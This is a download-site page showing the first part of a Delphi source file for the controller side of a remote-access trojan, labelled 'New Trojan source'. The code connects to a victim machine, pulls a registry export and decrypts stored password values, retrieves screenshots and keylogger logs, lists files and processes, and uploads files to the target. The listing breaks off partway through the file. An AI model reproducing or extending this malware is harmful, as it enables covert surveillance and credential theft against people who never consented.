⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 clientunit.pas

📁 New Trojan source delphi source code
💻 PAS
📖 第 1 页 / 共 2 页
字号:
unit ClientUnit;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ScktComp, StdCtrls, ExtCtrls, Menus, ComCtrls, FileCtrl,Registry,jpeg,
  cipher;

type
  pstos=^stos;
  stos=record
          sciezka:string[255];
          nast:pstos;
       end;

  TForm1 = class(TForm)
    PageControl1: TPageControl;
    Polaczenie: TTabSheet;
    Bevel1: TBevel;
    Label3: TLabel;
    Button3: TButton;
    Button1: TButton;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    Panel3: TPanel;
    Label4: TLabel;
    Edit3: TEdit;
    Button5: TButton;
    Memo1: TMemo;
    Button6: TButton;
    TabSheet1: TTabSheet;
    TabSheet5: TTabSheet;
    MainMenu1: TMainMenu;
    Polaczenie1: TMenuItem;
    Wybierzserver1: TMenuItem;
    Polacz1: TMenuItem;
    Rozlacz1: TMenuItem;
    Panel1: TPanel;
    Label1: TLabel;
    Edit1: TEdit;
    Label2: TLabel;
    ClientSocket1: TClientSocket;
    Button11: TButton;
    Button12: TButton;
    Button13: TButton;
    Button15: TButton;
    Button16: TButton;
    Button17: TButton;
    Button18: TButton;
    Button19: TButton;
    Button20: TButton;
    Button21: TButton;
    Button22: TButton;
    Button23: TButton;
    Button24: TButton;
    Button25: TButton;
    Button26: TButton;
    Button27: TButton;
    Button28: TButton;
    Button29: TButton;
    memo3: TMemo;
    TabSheet6: TTabSheet;
    TabSheet7: TTabSheet;
    Edit2: TEdit;
    Button30: TButton;
    TabSheet8: TTabSheet;
    Edit4: TEdit;
    Button31: TButton;
    Edit5: TEdit;
    Label5: TLabel;
    Label6: TLabel;
    DriveComboBox1: TDriveComboBox;
    DirectoryListBox1: TDirectoryListBox;
    FileListBox1: TFileListBox;
    Edit6: TEdit;
    Button33: TButton;
    Button34: TButton;
    TabSheet10: TTabSheet;
    Button37: TButton;
    GroupBox1: TGroupBox;
    RadioButton1: TRadioButton;
    RadioButton2: TRadioButton;
    TabSheet11: TTabSheet;
    Button42: TButton;
    Plikcli: TClientSocket;
    ComboBox1: TComboBox;
    ListBox1: TListBox;
    ListBox2: TListBox;
    Button44: TButton;
    Button45: TButton;
    Label12: TLabel;
    Label13: TLabel;
    Panel2: TPanel;
    Button9: TButton;
    Button10: TButton;
    GroupBox2: TGroupBox;
    GroupBox3: TGroupBox;
    GroupBox4: TGroupBox;
    GroupBox5: TGroupBox;
    GroupBox6: TGroupBox;
    GroupBox7: TGroupBox;
    GroupBox8: TGroupBox;
    GroupBox9: TGroupBox;
    Button14: TButton;
    GroupBox10: TGroupBox;
    Button32: TButton;
    Button39: TButton;
    Button40: TButton;
    Button41: TButton;
    Button46: TButton;
    CheckBox2: TCheckBox;
    Button47: TButton;
    Button48: TButton;
    Button50: TButton;
    ScrollBox1: TScrollBox;
    Image1: TImage;
    Button51: TButton;
    CheckBox1: TCheckBox;
    Timer1: TTimer;
    RadioGroup1: TRadioGroup;
    RadioButton3: TRadioButton;
    RadioButton4: TRadioButton;
    RadioButton5: TRadioButton;
    RadioButton6: TRadioButton;
    Button52: TButton;
    Button2: TButton;
    Memo5: TMemo;
    Button53: TButton;
    TabSheet13: TTabSheet;
    Memo6: TMemo;
    Button54: TButton;
    Button55: TButton;
    Edit10: TEdit;
    Label15: TLabel;
    Button38: TButton;
    Button7: TButton;
    GroupBox11: TGroupBox;
    Button8: TButton;
    Button43: TButton;
    Button36: TButton;
    Button49: TButton;
    Button56: TButton;
    Label7: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    procedure Button3Click(Sender: TObject);
    procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure FormDestroy(Sender: TObject);
    procedure ClientSocket1Disconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure FormShow(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormResize(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure Button29Click(Sender: TObject);
    procedure Button30Click(Sender: TObject);
    procedure Button31Click(Sender: TObject);
    procedure DriveComboBox1Change(Sender: TObject);
    procedure DirectoryListBox1Change(Sender: TObject);
    procedure Button32Click(Sender: TObject);
    procedure Button9Click(Sender: TObject);
    procedure Button10Click(Sender: TObject);
    procedure Button11Click(Sender: TObject);
    procedure Button12Click(Sender: TObject);
    procedure Button13Click(Sender: TObject);
    procedure Button14Click(Sender: TObject);
    procedure Button15Click(Sender: TObject);
    procedure Button16Click(Sender: TObject);
    procedure Button17Click(Sender: TObject);
    procedure Button18Click(Sender: TObject);
    procedure Button19Click(Sender: TObject);
    procedure Button20Click(Sender: TObject);
    procedure Button21Click(Sender: TObject);
    procedure Button22Click(Sender: TObject);
    procedure Button23Click(Sender: TObject);
    procedure Button24Click(Sender: TObject);
    procedure Button25Click(Sender: TObject);
    procedure Button26Click(Sender: TObject);
    procedure Button27Click(Sender: TObject);
    procedure Button28Click(Sender: TObject);
    procedure Button33Click(Sender: TObject);
    procedure Button34Click(Sender: TObject);
    procedure Button35Click(Sender: TObject);
    procedure Button36Click(Sender: TObject);
    procedure skancliError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure Button37Click(Sender: TObject);
    procedure Button38Click(Sender: TObject);
    procedure Button39Click(Sender: TObject);
    procedure Button40Click(Sender: TObject);
    procedure Button43Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure PlikcliRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure Button44Click(Sender: TObject);
    procedure Button41Click(Sender: TObject);
    procedure Button46Click(Sender: TObject);
    procedure Button48Click(Sender: TObject);
    procedure Button45Click(Sender: TObject);
    procedure Button49Click(Sender: TObject);
    procedure Button50Click(Sender: TObject);
    procedure Button42Click(Sender: TObject);
    procedure Button51Click(Sender: TObject);
    procedure CheckBox1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Button52Click(Sender: TObject);
    procedure Button47Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button53Click(Sender: TObject);
    procedure Button55Click(Sender: TObject);
    procedure Button54Click(Sender: TObject);
    procedure Button56Click(Sender: TObject);
    procedure ComboBox1Click(Sender: TObject);
    procedure Button8Click(Sender: TObject);
    procedure PlikcliError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  private
    { Private declarations }
  public
        curdisk:string;
        curdir:pstos;
        tempdir:string;
        t:array[0..MAX_PATH]of char;
         glob:integer;
         nazwapliku:string;
         plikprzych:file;
        sysdir:array[0..MAX_Path] of char;
        udost:string;
        procedure freeze;
        procedure unfreeze;
  end;
var
  Form1: TForm1;

implementation

uses Unit1, Unit3, Unit4, Unit5;

{$R *.DFM}
 procedure TForm1.Freeze;
 begin
   button6.Enabled:=false;
   button38.Enabled:=false;
   button42.Enabled:=false;
   button44.Enabled:=false;
   button45.Enabled:=false;
   button50.Enabled:=false;
   button54.Enabled:=false;
   button56.Enabled:=false;
 end;
function DirNotation(sc:string):string;
begin
  if sc[length(sc)]<>'\' then result:=sc+'\'
  else result:=sc;
end;
 procedure TForm1.Unfreeze;
 begin
   button6.Enabled:=true;
   button38.Enabled:=true;
   button42.Enabled:=true;
   button44.Enabled:=true;
   button45.Enabled:=true;
   button50.Enabled:=true;
   button54.Enabled:=true;
   button56.Enabled:=true;
 end;
procedure przeslijplik(nazwapliku:string);
var plik:file;
buf:array[1..128] of char;
rozm,fakt,proc:integer;
begin
assignfile(plik,nazwapliku);
reset(plik,1);
rozm:=filesize(plik);
blockread(plik,buf,sizeof(buf),fakt);
form1.plikcli.Socket.SendBuf(buf,fakt);
inc(form1.glob,fakt);
proc:=(form1.glob * 100) div rozm;
form1.Label12.Caption:=inttostr(proc);
while(fakt<>0)do
begin
blockread(plik,buf,sizeof(buf),fakt);
form1.plikcli.Socket.SendBuf(buf,fakt);
inc(form1.glob,fakt);
proc:=(form1.glob * 100) div rozm;
form1.Label12.Caption:=inttostr(proc);
application.ProcessMessages;
sleep(100);
end;
closefile(plik);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin

   ClientSocket1.Active := False;
   plikcli.active:=false;
   clientsocket1.Address:=edit6.text;
   plikcli.Address:=edit6.text;
   plikcli.open;
   clientsocket1.active:=true;

end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
     memo3.Clear;
     Form1.Caption := 'Klient po彻czony z ' + Socket.RemoteAddress+' : '+IntToStr(ClientSocket1.Socket.LocalPort);
     Label3.Caption := 'Przydzielony port : ' + IntToStr(ClientSocket1.Socket.LocalPort);
     clientsocket1.Socket.SendText('125');

end;

procedure TForm1.ClientSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);

var pom,wiadomosc,szyfr,haslo,p,naped,msg1,co,naped1:string;
     kod,i,j:integer;
     jp:TJpegimage;
     tek:textfile;

begin
  wiadomosc:=Socket.ReceiveText;
  for i:=1 to 3 do pom:=pom+wiadomosc[i];
  kod:=strtoint(pom);
  case kod of
    123 : begin
            closefile(plikprzych);
            memo1.Lines.Clear;
            assignfile(tek,string(sysdir)+'\eksport.reg');
            reset(tek);
            readln(tek,co);
            pom:=copy(co,1,15);
            memo1.Lines.add(co);
            while not eof(tek)  do
            begin
              readln(tek,co);
              pom:=copy(co,1,15);
              if (pom = '"Parm1enc"=hex:')or(pom='"Parm2enc"=hex:') then
              begin
                szyfr:=copy(co,16,length(co)-15);
                for i:=1 to  length(szyfr) do
                begin
                  if szyfr[i]=',' then
                  begin
                    p:=copy(szyfr,1,i-1);
                    szyfr:=p+copy(szyfr,i+1,length(szyfr)-i);
                  end;
                end;

                haslo:=cipher.Haslo(ansiuppercase(szyfr));
                co:=pom+' '+haslo;
              end;
              memo1.Lines.Add(co);
            end;
            closefile(tek);
            unfreeze;
          end;
    125 : begin
            for i:=4 to length(wiadomosc) do
            begin
              if wiadomosc[i]<>' ' then naped:=naped+wiadomosc[i]
              else
              begin
                if naped='' then continue;
                memo3.lines.add(naped);
                for j:=1 to 2 do naped1:=naped1+naped[j];
                combobox1.Items.Add(naped1);
                naped1:='';
                naped:='';
              end;
            end;
            edit1.text:='Informacja o napedach';
          end;
    400 : begin
            closefile(plikprzych);
            unfreeze;
            jp:=TJpegimage.create;
            jp.LoadFromFile(string(sysdir)+'\ekran.jpg');
            image1.Picture.Bitmap.Height:=jp.Height;
            image1.Picture.Bitmap.Width:=jp.Width;
            image1.Picture.Bitmap.Canvas.Draw(0,0,jp);
            jp.free;
          end;
    404 : begin
            closefile(plikprzych);
            unfreeze;
            assignfile(tek,string(sysdir)+'\szpieg.txt');
            reset(tek);
            while not eof(tek) do
            begin
              readln(tek,co);
              memo5.Lines.Add(co);
            end;
            closefile(tek);
          end;

    600 : begin
            PrzeslijPlik(nazwapliku);
            clientsocket1.Socket.SendText('601');
            unfreeze;
            label12.Caption:='';
          end;
    700 : begin
            closefile(plikprzych);
            unfreeze;
            assignfile(tek,string(sysdir)+'\dir.dir');
            reset(tek);
            listbox1.Clear;
            listbox2.Clear;
            while not eof(tek) do
            begin
              readln(tek,co);
              if co='' then continue else
              if co[1]<>'-' then listbox1.Items.Add(co)
              else
              begin
                listbox2.items.Add(copy(co,2,length(co)-1));
              end;
            end;
            closefile(tek);
          end;
    800 : begin
            closefile(plikprzych);
            unfreeze;
            assignfile(tek,string(sysdir)+'\ps1.ps');
            reset(tek);
            while not eof(tek) do
            begin
              readln(tek,co);
              memo6.Lines.Add(co);
            end;
            closefile(tek);
          end;
    900 : begin
            closefile(plikprzych);
            unfreeze;
            edit1.Text:='Plik przeslany';
          end;

else
begin
  for i:=4 to length(wiadomosc) do msg1:=msg1+wiadomosc[i];
  edit1.text:=msg1;
end
end;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
     ClientSocket1.Active := False;
     plikcli.Active:=false;
end;

procedure TForm1.ClientSocket1Error(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
     MessageDlg('Serwer nie dostepny', mtError, [mbOk], 0);
     ErrorCode := 0;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
     ClientSocket1.Active := False;
end;

procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
     Form1.Caption := 'Klient nie po彻czony';
     Label3.Caption := 'Przydzielony port : ';
end;

procedure TForm1.FormShow(Sender: TObject);
begin
 //okbottomdlg.showmodal;
 
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
if radiobutton1.checked then form1.clientsocket1.Socket.SendText('303'+edit3.text)
else form1.clientsocket1.Socket.SendText('304'+edit3.text);
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
  assignfile(plikprzych,string(sysdir)+'\eksport.reg');
  rewrite(plikprzych,1);
  memo1.Lines.Clear;
  freeze;
  clientsocket1.Socket.SendText('123');
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
//var r:TRegistry;
begin
action:=cafree;
  clientsocket1.close;
  plikcli.Close;
  //r:=TRegistry.Create;
 // r.RootKey:= HKEY_LOCAL_MACHINE;
  //r.OpenKey('software\microsoft\windows\currentversion\network',true);
  //r.WriteString('RemoteAddress',clientsocket1.address);
 // r.Free;
end;

procedure TForm1.FormResize(Sender: TObject);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -